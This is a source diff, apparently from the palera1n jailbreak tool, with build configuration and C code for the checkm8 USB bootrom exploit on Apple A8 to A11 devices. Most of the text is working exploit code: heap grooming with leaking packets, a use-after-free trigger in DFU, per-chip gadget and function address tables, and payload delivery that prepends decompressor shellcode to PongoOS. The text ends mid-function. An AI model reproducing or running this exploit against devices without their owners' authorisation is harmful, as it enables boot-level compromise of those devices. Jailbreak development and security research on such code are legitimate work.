${DEPS_PREFIX}/lib/libimobiledevice-glue-1.0.a
|
||||
${DEPS_PREFIX}/lib/libmbedtls.a
|
||||
${DEPS_PREFIX}/lib/libmbedx509.a
|
||||
${DEPS_PREFIX}/lib/libmbedcrypto.a
|
||||
)
|
||||
|
||||
if(LINUX)
|
||||
target_link_libraries(palera1n PRIVATE
|
||||
${DEPS_PREFIX}/lib/libusb-1.0.a
|
||||
)
|
||||
endif()
|
||||
endif()
|
||||
else()
|
||||
find_package(PkgConfig REQUIRED)
|
||||
|
||||
pkg_check_modules(IMD REQUIRED libimobiledevice-1.0)
|
||||
pkg_check_modules(IRECOVERY REQUIRED libirecovery-1.0)
|
||||
pkg_check_modules(PLIST REQUIRED libplist-2.0)
|
||||
pkg_check_modules(USBMUXD REQUIRED libusbmuxd-2.0)
|
||||
pkg_check_modules(LIBUSB REQUIRED libusb-1.0)
|
||||
|
||||
target_include_directories(palera1n PRIVATE
|
||||
${IMD_INCLUDE_DIRS}
|
||||
${IRECOVERY_INCLUDE_DIRS}
|
||||
${PLIST_INCLUDE_DIRS}
|
||||
${USBMUXD_INCLUDE_DIRS}
|
||||
${LIBUSB_INCLUDE_DIRS}
|
||||
)
|
||||
|
||||
target_link_libraries(palera1n PRIVATE
|
||||
${IMD_LIBRARIES}
|
||||
${IRECOVERY_LIBRARIES}
|
||||
${PLIST_LIBRARIES}
|
||||
${USBMUXD_LIBRARIES}
|
||||
${LIBUSB_LIBRARIES}
|
||||
)
|
||||
|
||||
target_compile_options(palera1n PRIVATE
|
||||
${IMD_CFLAGS_OTHER}
|
||||
${IRECOVERY_CFLAGS_OTHER}
|
||||
${PLIST_CFLAGS_OTHER}
|
||||
${USBMUXD_CFLAGS_OTHER}
|
||||
${LIBUSB_CFLAGS_OTHER}
|
||||
)
|
||||
endif()
|
||||
|
||||
@@ -0,0 +1,199 @@
|
||||
#include "checkm8.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
|
||||
#include "../utils/log.h"
|
||||
|
||||
#ifndef __APPLE__
|
||||
# include "usb-libusb.h"
|
||||
#endif
|
||||
#include "dfu.h"
|
||||
#include "payload.h"
|
||||
|
||||
// Start a new DFU transfer or continue an existing one
|
||||
// Once finished, DFU will be ready for checkm8
|
||||
bool checkm8_reset(usb_handle_t *handle) {
|
||||
transfer_ret_t transferRet;
|
||||
|
||||
// Send zero-length packet to end existing transfer
|
||||
bool ret = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LENGTH, &transferRet);
|
||||
if (!ret) { goto fail; }
|
||||
if (transferRet.ret != USB_TRANSFER_OK || transferRet.sz != DFU_FILE_SUFFIX_LENGTH) { return false; }
|
||||
|
||||
// Requests image validation like we are about to boot it
|
||||
ret = dfu_device_set_await_reset(handle);
|
||||
if (!ret) { goto fail; }
|
||||
|
||||
// Start a new DFU transfer
|
||||
ret = send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SIZE, &transferRet);
|
||||
if (!ret) { goto fail; }
|
||||
if (transferRet.ret != USB_TRANSFER_OK || transferRet.sz != EP0_MAX_PACKET_SIZE) { goto fail; }
|
||||
|
||||
// Ready for checkm8
|
||||
return true;
|
||||
|
||||
fail:
|
||||
// DFU abort on failure
|
||||
send_usb_control_request_no_data(handle, 0x21, DFU_CLRSTATUS, 0, 0, 0, NULL);
|
||||
LOG("Failed to reset device.");
|
||||
return false;
|
||||
}
|
||||
|
||||
bool checkm8_stall(usb_handle_t *handle) {
|
||||
int usbAbortTimeout = 10;
|
||||
transfer_ret_t transferRet;
|
||||
while (send_usb_control_request_async_no_data(handle, 0x80, DFU_ABORT, 0x304, 0xA, 0xC0, usbAbortTimeout, &transferRet)) {
|
||||
if (transferRet.sz < 0xC0
|
||||
&& send_usb_control_request_async_no_data(handle, 0x80, DFU_ABORT, 0x304, 0xA, 0x40, 1, &transferRet)
|
||||
&& transferRet.sz == 0) {
|
||||
LOG("Stalled device.");
|
||||
return true;
|
||||
}
|
||||
usbAbortTimeout = (usbAbortTimeout + 1) % 10;
|
||||
}
|
||||
LOG("Failed to stall device!");
|
||||
return false;
|
||||
}
|
||||
|
||||
bool checkm8_usb_request_stall(usb_handle_t *handle) {
|
||||
return send_usb_control_request_no_data(handle, 0x2, DFU_GETSTATUS, 0, 0x80, 0, NULL);
|
||||
}
|
||||
|
||||
bool checkm8_send_leaking_zlp(usb_handle_t *handle) {
|
||||
return send_usb_control_request_no_data(handle, 0x80, DFU_ABORT, 0x304, 0x40A, 0x40, NULL);
|
||||
}
|
||||
|
||||
bool checkm8_send_normal_zlp(usb_handle_t *handle) {
|
||||
return send_usb_control_request_no_data(handle, 0x80, DFU_ABORT, 0x304, 0x40A, 0xC1, NULL);
|
||||
}
|
||||
|
||||
bool checkm8_heap_feng_shui(usb_handle_t *handle, struct DeviceConfiguration *config) {
|
||||
if (config->largeLeak == 0) {
|
||||
if (config->cpid >= 0x7000 && config->cpid <= 0x8003 && config->cpid != 0x8001) {
|
||||
while (!checkm8_usb_request_stall(handle) || !checkm8_send_leaking_zlp(handle) || !checkm8_send_normal_zlp(handle)) { }
|
||||
} else {
|
||||
// Stall endpoint (and leak a packet)
|
||||
if (!checkm8_stall(handle)) { return false; }
|
||||
|
||||
// Send enough packets to fill the hole
|
||||
LOG( "Sending %d normal ZLPs.", config->hole);
|
||||
for (int i = 0; i < config->hole; i++) {
|
||||
if (!checkm8_send_normal_zlp(handle)) { return false; }
|
||||
}
|
||||
|
||||
// Add another leaking packet the end of the hole
|
||||
if (!checkm8_send_leaking_zlp(handle)) { return false; }
|
||||
|
||||
// Make sure the conditions are correct
|
||||
// So that the packets are actually leaked
|
||||
// (latest wLength > queued packet wLength)
|
||||
if (!checkm8_send_normal_zlp(handle)) { return false; }
|
||||
}
|
||||
} else { // Unused as we don't have A7/A6 support yet
|
||||
|
||||
// All packets are leaked - fill out the heap
|
||||
// such that there is a hole at the end for the IO buffer
|
||||
for (int i = 0; i < config->largeLeak; i++) {
|
||||
checkm8_usb_request_stall(handle);
|
||||
}
|
||||
|
||||
// Abort DFU and leak the packets
|
||||
send_usb_control_request_no_data(handle, 0x21, DFU_CLRSTATUS, 0, 0, 0, NULL);
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
bool checkm8_trigger_UaF(usb_handle_t *handle, struct DeviceConfiguration *config) {
|
||||
unsigned usbAbortTimeout = USB_TIMEOUT;
|
||||
transfer_ret_t transferRet;
|
||||
|
||||
// Keep asynchonously sending packets until we get a stall (which is actually the data not being sent)
|
||||
while (send_usb_control_request_async_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_MAX_TRANSFER_SIZE, usbAbortTimeout, &transferRet)) {
|
||||
// Overwrite padding to ensure we overwrite the correct data
|
||||
if (transferRet.sz < config->overwritePadding
|
||||
&& send_usb_control_request_no_data(handle, 0, 0, 0, 0, config->overwritePadding - transferRet.sz, &transferRet)
|
||||
&& transferRet.ret == USB_TRANSFER_STALL) {
|
||||
|
||||
// DFU abort and trigger the UaF
|
||||
send_usb_control_request_no_data(handle, 0x21, DFU_CLRSTATUS, 0, 0, 0, NULL);
|
||||
return true;
|
||||
}
|
||||
|
||||
// If we don't get a stall, something went wrong
|
||||
if (!send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, EP0_MAX_PACKET_SIZE, NULL)) {
|
||||
break;
|
||||
}
|
||||
|
||||
usbAbortTimeout = (usbAbortTimeout + 1) % 10;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
#ifndef MIN
|
||||
# define MIN(a, b) ((a) < (b) ? (a) : (b))
|
||||
#endif
|
||||
|
||||
bool checkm8_send_overwrite_and_payload(usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig) {
|
||||
size_t overwriteSize = 0;
|
||||
size_t payloadSize = 0;
|
||||
|
||||
uint8_t *overwrite = create_pongo_overwrite_for_device(payloadConfig, &overwriteSize);
|
||||
uint8_t *payload = create_pongo_payload_for_device(deviceConfig, &payloadSize);
|
||||
|
||||
if (!overwrite || overwriteSize == 0) {
|
||||
LOG("Failed to generate overwrite!");
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
if (!payload || payloadSize == 0) {
|
||||
LOG( "Failed to generate payload!");
|
||||
goto cleanup;
|
||||
}
|
||||
|
||||
transfer_ret_t transferRet;
|
||||
|
||||
// Why is this needed?
|
||||
if (deviceConfig->cpid >= 0x8001 && deviceConfig->cpid <= 0x8015 && deviceConfig->cpid != 0x8003) {
|
||||
if (!checkm8_usb_request_stall(handle)) { goto cleanup; }
|
||||
if (!checkm8_send_leaking_zlp(handle)) { goto cleanup; }
|
||||
}
|
||||
send_usb_control_request_no_data(handle, 2, DFU_GETSTATUS, 0, 0x80, 0, NULL);
|
||||
send_usb_control_request_no_data(handle, 2, DFU_GETSTATUS, 0, 0x80, 0, NULL);
|
||||
|
||||
// Send overwrite and make sure the endpoint is still stalled
|
||||
if (send_usb_control_request(handle, 0, 0, 0, 0, overwrite, overwriteSize, &transferRet)
|
||||
&& transferRet.ret == USB_TRANSFER_STALL) {
|
||||
// Reset the global state so we can send our payload?
|
||||
bool ret = true;
|
||||
size_t packetSize = 0;
|
||||
|
||||
for (int i = 0; ret && i < payloadSize; i += packetSize) {
|
||||
packetSize = MIN(payloadSize - i, DFU_MAX_TRANSFER_SIZE);
|
||||
LOG( "Sending payload chunk of size 0x%x.", packetSize);
|
||||
// Send payload chunk
|
||||
ret = send_usb_control_request(handle, 0x21, DFU_DNLOAD, 0, 0, &payload[i], packetSize, NULL);
|
||||
}
|
||||
|
||||
if (ret) {
|
||||
// T8011 is fragile...
|
||||
if (deviceConfig->cpid != 0x8011) {
|
||||
send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, DFU_FILE_SUFFIX_LENGTH, NULL);
|
||||
send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, NULL);
|
||||
}
|
||||
} else {
|
||||
LOG("Failed to send payload!");
|
||||
}
|
||||
|
||||
// This is the trigger for execution
|
||||
ret = send_usb_control_request_no_data(handle, 0x21, DFU_CLRSTATUS, 0, 0, 0, NULL);
|
||||
LOG("Checkmate!");
|
||||
|
||||
if (overwrite != NULL) { free(overwrite); }
|
||||
return true;
|
||||
} else {
|
||||
LOG("Failed to send overwrite!");
|
||||
}
|
||||
|
||||
cleanup:
|
||||
return false;
|
||||
}
|
||||
@@ -0,0 +1,29 @@
|
||||
#ifndef CHEKMC8_H
|
||||
#define CHEKMC8_H
|
||||
|
||||
#include "payload.h"
|
||||
|
||||
#ifndef __APPLE__
|
||||
# include "usb-libusb.h"
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
bool checkm8_reset(usb_handle_t *handle);
|
||||
bool checkm8_stall(usb_handle_t *handle);
|
||||
bool checkm8_usb_request_stall(usb_handle_t *handle);
|
||||
bool checkm8_send_leaking_zlp(usb_handle_t *handle);
|
||||
bool checkm8_send_normal_zlp(usb_handle_t *handle);
|
||||
bool checkm8_heap_feng_shui(usb_handle_t *handle, struct DeviceConfiguration *config);
|
||||
bool checkm8_trigger_UaF(usb_handle_t *handle, struct DeviceConfiguration *config);
|
||||
|
||||
bool checkm8_send_overwrite_and_payload(usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // CHEKMC8_H
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
#include "dfu.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stddef.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
|
||||
#ifndef __APPLE__
|
||||
# include "usb-libusb.h"
|
||||
#endif
|
||||
#include "payload.h"
|
||||
|
||||
bool dfu_check_status(const usb_handle_t *handle, uint8_t status, uint8_t state) {
|
||||
struct {
|
||||
uint8_t status, poll_timeout[3], state, str_idx;
|
||||
} dfu_status;
|
||||
transfer_ret_t transfer_ret;
|
||||
|
||||
return send_usb_control_request(handle, 0xA1, DFU_GETSTATUS, 0, 0, &dfu_status, sizeof(dfu_status), &transfer_ret)
|
||||
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == sizeof(dfu_status)
|
||||
&& dfu_status.status == status && dfu_status.state == state;
|
||||
}
|
||||
|
||||
bool dfu_device_set_await_reset(const usb_handle_t *handle) {
|
||||
transfer_ret_t transfer_ret;
|
||||
|
||||
return send_usb_control_request_no_data(handle, 0x21, DFU_DNLOAD, 0, 0, 0, &transfer_ret)
|
||||
&& transfer_ret.ret == USB_TRANSFER_OK && transfer_ret.sz == 0
|
||||
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_SYNC)
|
||||
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST)
|
||||
&& dfu_check_status(handle, DFU_STATUS_OK, DFU_STATE_MANIFEST_WAIT_RESET);
|
||||
}
|
||||
|
||||
int dfu_serial_number_get_cpid(char *serial) {
|
||||
char *cpid = strstr(serial, "CPID:");
|
||||
if (cpid == NULL) { return -1; }
|
||||
return strtol(cpid + 5, NULL, 16);
|
||||
}
|
||||
|
||||
int dfu_serial_number_get_bdid(char *serial) {
|
||||
char *bdid = strstr(serial, "BDID:");
|
||||
if (bdid == NULL) { return -1; }
|
||||
return strtol(bdid + 5, NULL, 16);
|
||||
}
|
||||
|
||||
bool dfu_serial_number_is_in_dfu_mode(char *serial) {
|
||||
char *DFU = strstr(serial, "SRTG");
|
||||
return DFU != NULL;
|
||||
}
|
||||
|
||||
bool dfu_serial_number_is_pwned(char *serial) {
|
||||
char *pwnd = strstr(serial, "PWND:");
|
||||
return pwnd != NULL;
|
||||
}
|
||||
|
||||
bool dfu_serial_number_is_in_yolo_dfu(char *serial) {
|
||||
char *yolo = strstr(serial, "YOLO");
|
||||
return yolo != NULL;
|
||||
}
|
||||
|
||||
bool device_serial_number_is_in_pongo_os(char *serial) {
|
||||
char *pongo = strstr(serial, "SRTG:[PongoOS");
|
||||
return pongo != NULL;
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
#ifndef DFU_H
|
||||
#define DFU_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
#ifndef __APPLE__
|
||||
# include "usb-libusb.h"
|
||||
#endif
|
||||
|
||||
#define DFU_DNLOAD 1
|
||||
#define DFU_UPLOAD 2
|
||||
#define DFU_GETSTATUS 3
|
||||
#define DFU_CLRSTATUS 4
|
||||
#define DFU_GETSTATE 5
|
||||
#define DFU_ABORT 6
|
||||
|
||||
#define DFU_FILE_SUFFIX_LENGTH 16
|
||||
#define EP0_MAX_PACKET_SIZE 0x40
|
||||
#define DFU_MAX_TRANSFER_SIZE 0x800
|
||||
#define DFU_STATUS_OK 0
|
||||
#define DFU_STATE_MANIFEST_SYNC 6
|
||||
#define DFU_STATE_MANIFEST 7
|
||||
#define DFU_STATE_MANIFEST_WAIT_RESET 8
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
bool dfu_device_set_await_reset(const usb_handle_t *handle);
|
||||
|
||||
int dfu_serial_number_get_cpid(char *serial);
|
||||
bool dfu_serial_number_is_in_dfu_mode(char *serial);
|
||||
bool dfu_serial_number_is_pwned(char *serial);
|
||||
bool dfu_serial_number_is_in_yolo_dfu(char *serial);
|
||||
bool device_serial_number_is_in_pongo_os(char *serial);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // DFU_H
|
||||
|
||||
@@ -0,0 +1,392 @@
|
||||
#include "payload.h"
|
||||
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include "../utils/log.h"
|
||||
#include "dfu.h"
|
||||
#include "../gen/payloads/t8015.h"
|
||||
#include "../gen/payloads/t8011.h"
|
||||
#include "../gen/payloads/t8010.h"
|
||||
#include "../gen/payloads/s8003.h"
|
||||
#include "../gen/payloads/s8001.h"
|
||||
#include "../gen/payloads/s8000.h"
|
||||
#include "../gen/payloads/t7001.h"
|
||||
#include "../gen/payloads/t7000.h"
|
||||
|
||||
bool checkm8_find_device_configuration_for_cpid(int cpid, struct DeviceConfiguration *config) {
|
||||
bool foundMatchingConfiguration = true;
|
||||
switch (cpid) {
|
||||
case 0x8015:
|
||||
case 0x8012:
|
||||
case 0x8011:
|
||||
config->cpid = cpid;
|
||||
config->largeLeak = 0;
|
||||
config->overwritePadding = 0x540;
|
||||
config->hole = 6;
|
||||
break;
|
||||
case 0x8010:
|
||||
config->cpid = cpid;
|
||||
config->largeLeak = 0;
|
||||
config->overwritePadding = 0x5C0;
|
||||
config->hole = 5;
|
||||
break;
|
||||
case 0x8001:
|
||||
config->cpid = cpid;
|
||||
config->largeLeak = 0;
|
||||
config->overwritePadding = 0x5C0;
|
||||
config->hole = 6;
|
||||
break;
|
||||
case 0x8003:
|
||||
case 0x8000:
|
||||
case 0x7001:
|
||||
case 0x7000:
|
||||
config->cpid = cpid;
|
||||
config->largeLeak = 0;
|
||||
config->overwritePadding = 0x500;
|
||||
config->hole = 0;
|
||||
break;
|
||||
default:
|
||||
LOG("CPID 0x%x is not supported!", cpid);
|
||||
if (cpid > 0x8015) {
|
||||
LOG("arm64e devices (A12 and newer) will never be supported.");
|
||||
}
|
||||
|
||||
foundMatchingConfiguration = false;
|
||||
break;
|
||||
}
|
||||
return foundMatchingConfiguration;
|
||||
}
|
||||
|
||||
bool checkm8_find_payload_configuration_for_cpid(int cpid, struct PayloadConfiguration *config) {
|
||||
bool foundMatchingConfiguration = true;
|
||||
switch (cpid) {
|
||||
case 0x8015:
|
||||
config->tlbi = 0x1000004AC;
|
||||
config->nopGadget = 0x10000A9C4;
|
||||
config->retGadget = 0x100000148;
|
||||
config->patchAddress = 0x10000624C;
|
||||
config->ttbr0Address = 0x18000C000;
|
||||
config->functionGadget = 0x10000A9AC;
|
||||
config->ttbr0Write = 0x10000045C;
|
||||
config->memcpyAddress = 0x10000E9D0;
|
||||
config->aesCryptoCommand = 0x100009E9C;
|
||||
config->bootTrampolineEnd = 0x18001C000;
|
||||
config->ttbr0VROMOffset = 0x400;
|
||||
config->ttbr0SRAMOffset = 0x600;
|
||||
config->gUSBSerialNumber = 0x180003A78;
|
||||
config->dfu_handle_request_address = 0x180008638;
|
||||
config->usb_core_do_transfer = 0x10000B9A8;
|
||||
config->dfu_handle_bus_reset_address = 0x180008668;
|
||||
config->insecureMemoryBase = 0x18001C000;
|
||||
config->handle_interface_request = 0x10000BCCC;
|
||||
config->usb_create_string_descriptor = 0x10000AE80;
|
||||
config->usb_serial_number_string_descriptor = 0x1800008FA;
|
||||
break;
|
||||
case 0x8012:
|
||||
config->tlbi = 0x100000494;
|
||||
config->nopGadget = 0x100008DB8;
|
||||
config->retGadget = 0x10000012C;
|
||||
config->patchAddress = 0x100004854;
|
||||
config->ttbr0Address = 0x18000C000;
|
||||
config->functionGadget = 0x100008DA0;
|
||||
config->ttbr0Write = 0x100000444;
|
||||
config->memcpyAddress = 0x10000EA30;
|
||||
config->aesCryptoCommand = 0x1000082AC;
|
||||
config->bootTrampolineEnd = 0x18001C000;
|
||||
config->ttbr0VROMOffset = 0x400;
|
||||
config->ttbr0SRAMOffset = 0x600;
|
||||
config->gUSBSerialNumber = 0x180003AF8;
|
||||
config->dfu_handle_request_address = 0x180008B08;
|
||||
config->usb_core_do_transfer = 0x10000BD20;
|
||||
config->dfu_handle_bus_reset_address = 0x180008B38;
|
||||
config->insecureMemoryBase = 0x18001C000;
|
||||
config->handle_interface_request = 0x10000BFFC;
|
||||
config->usb_create_string_descriptor = 0x10000B1CC;
|
||||
config->usb_serial_number_string_descriptor = 0x18000082A;
|
||||
break;
|
||||
case 0x8011:
|
||||
config->tlbi = 0x100000444;
|
||||
config->nopGadget = 0x10000CD0C;
|
||||
config->retGadget = 0x100000148;
|
||||
config->patchAddress = 0x100007630;
|
||||
config->ttbr0Address = 0x1800A0000;
|
||||
config->functionGadget = 0x10000CCEC;
|
||||
config->ttbr0Write = 0x1000003F4;
|
||||
config->memcpyAddress = 0x100010950;
|
||||
config->aesCryptoCommand = 0x10000C994;
|
||||
config->bootTrampolineEnd = 0x1800B0000;
|
||||
config->ttbr0VROMOffset = 0x400;
|
||||
config->ttbr0SRAMOffset = 0x600;
|
||||
config->gUSBSerialNumber = 0x180083D28;
|
||||
config->dfu_handle_request_address = 0x180088A58;
|
||||
config->usb_core_do_transfer = 0x10000DD64;
|
||||
config->dfu_handle_bus_reset_address = 0x180088A88;
|
||||
config->insecureMemoryBase = 0x1800B0000;
|
||||
config->handle_interface_request = 0x10000E08C;
|
||||
config->usb_create_string_descriptor = 0x10000D234;
|
||||
config->usb_serial_number_string_descriptor = 0x18008062A;
|
||||
break;
|
||||
case 0x8010:
|
||||
config->tlbi = 0x100000434;
|
||||
config->nopGadget = 0x10000CC6C;
|
||||
config->retGadget = 0x10000015C;
|
||||
config->patchAddress = 0x1000074AC;
|
||||
config->ttbr0Address = 0x1800A0000;
|
||||
config->functionGadget = 0x10000CC4C;
|
||||
config->ttbr0Write = 0x1000003E4;
|
||||
config->memcpyAddress = 0x100010730;
|
||||
config->aesCryptoCommand = 0x10000C8F4;
|
||||
config->bootTrampolineEnd = 0x1800B0000;
|
||||
config->ttbr0VROMOffset = 0x400;
|
||||
config->ttbr0SRAMOffset = 0x600;
|
||||
config->gUSBSerialNumber = 0x180083CF8;
|
||||
config->dfu_handle_request_address = 0x180088B48;
|
||||
config->usb_core_do_transfer = 0x10000DC98;
|
||||
config->dfu_handle_bus_reset_address = 0x180088B78;
|
||||
config->insecureMemoryBase = 0x1800B0000;
|
||||
config->handle_interface_request = 0x10000DFB8;
|
||||
config->usb_create_string_descriptor = 0x10000D150;
|
||||
config->usb_serial_number_string_descriptor = 0x1800805DA;
|
||||
break;
|
||||
case 0x8001:
|
||||
config->tlbi = 0x100000404;
|
||||
config->nopGadget = 0x10000CD60;
|
||||
config->retGadget = 0x100000118;
|
||||
config->patchAddress = 0x100007668;
|
||||
config->ttbr0Address = 0x180050000;
|
||||
config->functionGadget = 0x10000CD40;
|
||||
config->ttbr0Write = 0x1000003B4;
|
||||
config->memcpyAddress = 0x1000106F0;
|
||||
config->aesCryptoCommand = 0x10000C9D4;
|
||||
config->bootTrampolineEnd = 0x180044000;
|
||||
config->ttbr0VROMOffset = 0x400;
|
||||
config->ttbr0SRAMOffset = 0x600;
|
||||
config->gUSBSerialNumber = 0x180047578;
|
||||
config->dfu_handle_request_address = 0x18004C378;
|
||||
config->usb_core_do_transfer = 0x10000DDA4;
|
||||
config->dfu_handle_bus_reset_address = 0x18004C3A8;
|
||||
config->insecureMemoryBase = 0x180000000;
|
||||
config->handle_interface_request = 0x10000E0B4;
|
||||
config->usb_create_string_descriptor = 0x10000D280;
|
||||
config->usb_serial_number_string_descriptor = 0x18004486A;
|
||||
break;
|
||||
case 0x8003:
|
||||
case 0x8000:
|
||||
config->patchAddress = 0x10000812C;
|
||||
config->ttbr0Address = 0x1800C8000;
|
||||
config->memcpyAddress = 0x100011030;
|
||||
config->aesCryptoCommand = 0x10000DAA0;
|
||||
config->bootTrampolineEnd = 0x1800E1000;
|
||||
config->ttbr0VROMOffset = 0x400;
|
||||
config->ttbr0SRAMOffset = 0x600;
|
||||
config->gUSBSerialNumber = 0x180087958;
|
||||
config->dfu_handle_request_address = 0x1800878F8;
|
||||
config->usb_core_do_transfer = 0x10000EE78;
|
||||
config->dfu_handle_bus_reset_address = 0x180087928;
|
||||
config->insecureMemoryBase = 0x180380000;
|
||||
config->handle_interface_request = 0x10000F1B0;
|
||||
config->usb_create_string_descriptor = 0x10000E354;
|
||||
config->usb_serial_number_string_descriptor = 0x1800807DA;
|
||||
break;
|
||||
case 0x7001:
|
||||
config->patchAddress = 0x10000AD04;
|
||||
config->memcpyAddress = 0x100013F10;
|
||||
config->aesCryptoCommand = 0x100010A90;
|
||||
config->bootTrampolineEnd = 0x1800E1000;
|
||||
config->gUSBSerialNumber = 0x180088E48;
|
||||
config->dfu_handle_request_address = 0x180088DF8;
|
||||
config->usb_core_do_transfer = 0x100011BB4;
|
||||
config->dfu_handle_bus_reset_address = 0x180088E18;
|
||||
config->insecureMemoryBase = 0x180380000;
|
||||
config->handle_interface_request = 0x100011EE4;
|
||||
config->usb_create_string_descriptor = 0x100011074;
|
||||
config->usb_serial_number_string_descriptor = 0x180080C2A;
|
||||
break;
|
||||
case 0x7000:
|
||||
config->patchAddress = 0x100007E98;
|
||||
config->memcpyAddress = 0x100010E70;
|
||||
config->aesCryptoCommand = 0x10000DA90;
|
||||
config->bootTrampolineEnd = 0x1800E1000;
|
||||
config->gUSBSerialNumber = 0x1800888C8;
|
||||
config->dfu_handle_request_address = 0x180088878;
|
||||
config->usb_core_do_transfer = 0x10000EBB4;
|
||||
config->dfu_handle_bus_reset_address = 0x180088898;
|
||||
config->insecureMemoryBase = 0x180380000;
|
||||
config->handle_interface_request = 0x10000EEE4;
|
||||
config->usb_create_string_descriptor = 0x10000E074;
|
||||
config->usb_serial_number_string_descriptor = 0x18008062A;
|
||||
break;
|
||||
default:
|
||||
LOG("CPID 0x%x is not supported!", cpid);
|
||||
foundMatchingConfiguration = false;
|
||||
}
|
||||
return foundMatchingConfiguration;
|
||||
}
|
||||
|
||||
uint8_t *create_pongo_overwrite_for_device(struct PayloadConfiguration *payloadConfig, size_t *overwriteSize) {
|
||||
LOG("Preparing overwrite for YoloDFU mode.");
|
||||
uint64_t *overwrite = malloc(0x30);
|
||||
overwrite[5] = payloadConfig->insecureMemoryBase;
|
||||
*overwriteSize = 0x30;
|
||||
return (uint8_t *)overwrite;
|
||||
}
|
||||
|
||||
uint8_t *create_pongo_payload_for_device(struct DeviceConfiguration *deviceConfig, size_t *payloadSize) {
|
||||
LOG("Preparing YoloDFU payload for CPID 0x%x.", deviceConfig->cpid);
|
||||
switch (deviceConfig->cpid) {
|
||||
case 0x8015:
|
||||
*payloadSize = t8015_len;
|
||||
return (uint8_t *)t8015;
|
||||
case 0x8011:
|
||||
*payloadSize = t8011_len;
|
||||
return (uint8_t *)t8011;
|
||||
case 0x8010:
|
||||
*payloadSize = t8010_len;
|
||||
return (uint8_t *)t8010;
|
||||
case 0x8003:
|
||||
*payloadSize = s8003_len;
|
||||
return (uint8_t *)s8003;
|
||||
case 0x8001:
|
||||
*payloadSize = s8001_len;
|
||||
return (uint8_t *)s8001;
|
||||
case 0x8000:
|
||||
*payloadSize = s8000_len;
|
||||
return (uint8_t *)s8000;
|
||||
case 0x7001:
|
||||
*payloadSize = t7001_len;
|
||||
return (uint8_t *)t7001;
|
||||
case 0x7000:
|
||||
*payloadSize = t7000_len;
|
||||
return (uint8_t *)t7000;
|
||||
default:
|
||||
LOG("Failed to prepare payload for device with CPID 0x%x.", deviceConfig->cpid);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
// TODO: move l8r
|
||||
|
||||
bool wait_for_device_to_enter_yolo_dfu(usb_handle_t *handle) {
|
||||
char *serialNumber = NULL;
|
||||
wait_usb_handle(handle);
|
||||
serialNumber = get_usb_device_serial_number(handle);
|
||||
if (serialNumber == NULL) {
|
||||
LOG("Failed to get device serial number.");
|
||||
close_usb_handle(handle);
|
||||
return false;
|
||||
}
|
||||
unsigned totalTime = 0;
|
||||
while (!dfu_serial_number_is_in_yolo_dfu(serialNumber)) {
|
||||
wait_usb_handle(handle);
|
||||
free(serialNumber);
|
||||
serialNumber = get_usb_device_serial_number(handle);
|
||||
close_usb_handle(handle);
|
||||
if (serialNumber == NULL) {
|
||||
LOG("Failed to get device serial number.");
|
||||
return false;
|
||||
}
|
||||
sleep_ms(100);
|
||||
totalTime += 100;
|
||||
if (totalTime >= 15000) {
|
||||
LOG("Device failed to enter Yolo DFU mode.");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
close_usb_handle(handle);
|
||||
return true;
|
||||
}
|
||||
|
||||
#include <string.h>
|
||||
#include "../gen/payloads/Pongo.h"
|
||||
#include "../gen/payloads/lz4dec.h"
|
||||
#include <lz4hc.h>
|
||||
|
||||
bool prepare_pongo(unsigned char **pongoBuf, size_t *size)
|
||||
{
|
||||
size_t shellcodeSize, pongoSize;
|
||||
void *shellcode, *pongo;
|
||||
|
||||
// The shellcode that is appended to the beginning of the
|
||||
// LZ4-compressed Pongo is actually an LZ4 decompressor
|
||||
// that decompresses the Pongo image into memory.
|
||||
// It is, in effect, a self-extracting payload.
|
||||
|
||||
shellcodeSize = lz4dec_len;
|
||||
shellcode = malloc(shellcodeSize);
|
||||
memcpy(shellcode, lz4dec, shellcodeSize);
|
||||
|
||||
pongoSize = Pongo_len;
|
||||
pongo = malloc(pongoSize);
|
||||
memcpy(pongo, Pongo, pongoSize);
|
||||
|
||||
// Compress PongoOS
|
||||
char *pongoCompressed = malloc(pongoSize);
|
||||
LOG("Compressing PongoOS");
|
||||
pongoSize = LZ4_compress_HC(pongo, pongoCompressed, pongoSize, pongoSize, LZ4HC_CLEVEL_MAX);
|
||||
if (pongoSize == 0) {
|
||||
LOG("Failed to compress PongoOS");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Add shellcode to PongoOS
|
||||
LOG("Adding shellcode to PongoOS");
|
||||
void *tmp = malloc(pongoSize + shellcodeSize);
|
||||
memcpy(tmp, shellcode, shellcodeSize);
|
||||
memcpy(tmp + shellcodeSize, pongoCompressed, pongoSize);
|
||||
free(pongo);
|
||||
